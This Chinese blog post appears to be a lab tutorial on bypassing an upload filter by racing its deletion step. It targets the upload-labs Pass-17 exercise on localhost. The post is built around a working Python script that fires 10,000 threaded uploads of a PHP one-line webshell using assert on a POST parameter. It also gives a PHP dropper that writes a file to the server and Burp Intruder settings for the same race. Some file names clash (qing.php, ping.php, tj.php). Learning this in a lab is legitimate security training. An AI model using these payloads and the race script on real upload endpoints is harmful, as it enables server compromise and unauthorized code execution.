不安全文件下载与上传之——上传漏洞之时间竞争条件绕过

上传漏洞之时间竞争条件绕过

原理

服务器先允许你上传文件,然后检测是否合法,不合法再删除,我们要利用的就是在服务器删除前,访问到我们上传的php。

方法

利用条件竞争删除文件时间差绕过。使用命令pip install
hackhttp安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。

	
1 #!/usr/bin/env python
 2 # coding:utf-8
 3
 4 
 5 import hackhttp
 6 from multiprocessing.dummy import Pool as ThreadPool
 7 
 8 
 9 def upload(lists):
10     hh = hackhttp.hackhttp()
11     raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
12 Host: 127.0.0.1
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
15 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
16 Accept-Encoding: gzip, deflate
17 Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
18 Cookie: pass=17
19 Connection: close
20 Upgrade-Insecure-Requests: 1
21 Content-Type: multipart/form-data; boundary=---------------------------6696274297634
22 Content-Length: 341
23 
24 -----------------------------6696274297634
25 Content-Disposition: form-data; name="upload_file"; filename="17.php"
26 Content-Type: application/octet-stream
27 
28 <?php assert($_POST["LandGrey"])?>
29 -----------------------------6696274297634
30 Content-Disposition: form-data; name="submit"
31 
32 上传
33 -----------------------------6696274297634--
34 """
35     code, head, html, redirect, log = hh.http(‘http://127.0.0.1/upload-labs/Pass-17/index.php‘, raw=raw)
36     print(str(code) + "\r")
37 
38 
39 pool = ThreadPool(10)
40 pool.map(upload, range(10000))
41 pool.close()
42 pool.join()

burp也可以实现

操作

选定上传文件
选定test.php进行上传,其中内容是生成包含一句话木马的qing.php文件

	<?php
$myfile = fopen("qing.php", "w");
$txt = "<?php phpinfo();?>";
fwrite($myfile, $txt);
fclose($myfile);
?>

这里我上传我的tj.php,然后不停的访问test.php上传后的地址,即http://www.hack_upload.com/upload/test.php

这里使用两个发包器,一个包是上传我们test.php的包,一个是访问我们上传test.php后的地址

上传

						抓包,点击上传
							将包发到include
								positions
									清除变量
								payloads
									在payload中payload type 为空
									generate payloads 为3000 生成有效负载
								options
									number of threads线程100

访问

	输入http://www.hack_upload.com/upload/test.php
							抓包 送到include
								positions
									清除变量
								payloads
									在payload中payload type 为空
									generate payloads 为3000 生成有效负载
								options
									number of threads线程100

同时开始两个攻击

再通过浏览器直接访问生成的文件ping.php路径就可以了,注意不是test.php文件

发布了80 篇原创文章 · 获赞 8 · 访问量 4215

猜你喜欢

转载自blog.csdn.net/weixin_43079958/article/details/105377142
今日推荐